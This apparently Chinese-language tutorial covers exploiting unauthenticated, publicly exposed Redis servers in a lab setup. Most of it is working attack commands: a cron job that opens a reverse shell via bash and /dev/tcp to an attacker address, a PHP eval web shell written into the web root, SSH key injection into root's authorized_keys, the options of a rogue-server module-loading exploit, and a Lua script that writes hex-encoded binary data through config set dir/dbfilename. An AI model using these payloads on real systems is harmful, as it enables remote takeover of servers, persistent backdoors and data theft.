redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源 ip 访问等相关安全策略,直接暴露在公网
没有设置密码认证(一般为空),可以免密码远程登录redis服务
环境准备
目标机器:172.16.186.4
Kali 开启 SSH
1. 查看ssh服务状态
1
/etc/init.d/ssh status
2.修改配置文件
1
vim /etc/ssh/sshd_config
3. 启动ssh服务
1
/etc/init.d/ssh start
查看服务状态
1
/etc/init.d/ssh status
开机启动
1
update-rc.d ssh enable
配置 Redis
1 2 3 4 5 6 7 8 9
wget http://download.redis.io/releases/redis-3.2.11.tar.gz tar zxvf redis-3.2.11.tar.gz cd redis-3.2.11 cp redis.conf /etc/redis.conf make cd src cp redis-server /usr/bin/ cp redis-cli /usr/bin/ vim /etc/redis.conf
去掉ip绑定,允许除本地外的主机远程登录redis服务 前面加#注释掉
关闭保护模式,允许远程连接redis服务将yes 改为no
启动 Redis
1
redis-server /etc/redis.conf
常用命令
连接 Redis 服务器
1
redis-cli -h 172.16.186.4
1 2 3 4 5 6 7 8 9 10
(1)info 查看信息 (2)flushall 删除所有数据库内容 (3)flushdb 刷新数据库 (4)KEYS * 查看所有键,使用select num可以查看键值数据。 (5)settest"who am i" 设置变量 (6)config set dir {dirpath} 设置路径等配置 (7)config set dbfilename redis.rdb 设置备份文件名 (8)config get dir/dbfilename 获取路径及数据配置信息 (9)save 保存 (10)get 变量,查看变量名称
172.16.186.4:6379> set x "\n* * * * * bash -i >& /dev/tcp/xx.xx.xx.xx/port 0>&1\n" OK 172.16.186.4:6379> config set dir /var/spool/cron/ OK 172.16.186.4:6379> config set dbfilename root OK 172.16.186.4:6379> save OK
172.16.186.4:6379> config set dir /var/www/html/ OK 172.16.186.4:6379> config set dbfilename shell.php OK 172.16.186.4:6379> set x "<?php @eval($_POST['shell']);?>" OK 172.16.186.4:6379> save OK
172.16.186.4:6379> config set dir /root/.ssh/ OK 172.16.186.4:6379> config get dir 1) "dir" 2) "/root/.ssh" 172.16.186.4:6379> config set dbfilename authorized_keys OK 172.16.186.4:6379> save OK
# 使用私钥连接 ➜ ssh -i id_rsa root@172.16.186.4
或者172.16.186.4:6379> set crackit “\n\n\n 公钥内容 \n\n\n”
-h, --help show this help message and exit --rhost=REMOTE_HOST target host --rport=REMOTE_PORT target redis port, default 6379 --lhost=LOCAL_HOST rogue server ip --lport=LOCAL_PORT rogue server listen port, default 21000 --exp=EXP_FILE Redis Module to load, default exp.so -v, --verbose Show full data stream
localfunctionhex2bin(hexstr) local str = "" for i = 1, string.len(hexstr) - 1, 2do local doublebytestr = string.sub(hexstr, i, i+1); local n = tonumber(doublebytestr, 16); if0 == n then str = str .. '\00' else str = str .. string.format("%c", n) end end return str end local dir = redis.call('config','get','dir') redis.call('config','set','dir','/tmp/') local dbfilename = redis.call('config','get','dbfilename') redis.call('config','set','dbfilename','t') local rdbcompress = redis.call('config','get','rdbcompression') redis.call('config','set','rdbcompression','no') redis.call('flushall') local data = '1a2b3c4d5e6f1223344556677890aa' redis.call('set','data',hex2bin('0a7c7c7c'..data..'7c7c7c0a')) local rst = {} rst[1] = 'server default config' rst[2] = 'dir:'..dir[2] rst[3] = 'dbfilename:'..dbfilename[2] rst[4] = 'rdbcompression:'..rdbcompress[2] return rst
变量data保存的是程序的16进制编码
利用 redis 执行该 lua 脚本
1
redis-cli --eval a.lua -h 172.16.186.4
由于 redis 不支持在 lua 中调用 save 因此需要手动执行 save 操作,并且删除 key data,恢复 dir 等。
1 2 3 4
redis-cli save -h 172.16.186.4 redis-cli config set dir *** -h 172.16.186.4 redis-cli config set dbfilename *** -h 172.16.186.4 redis-cli config set rdbcompression * -h 172.16.186.4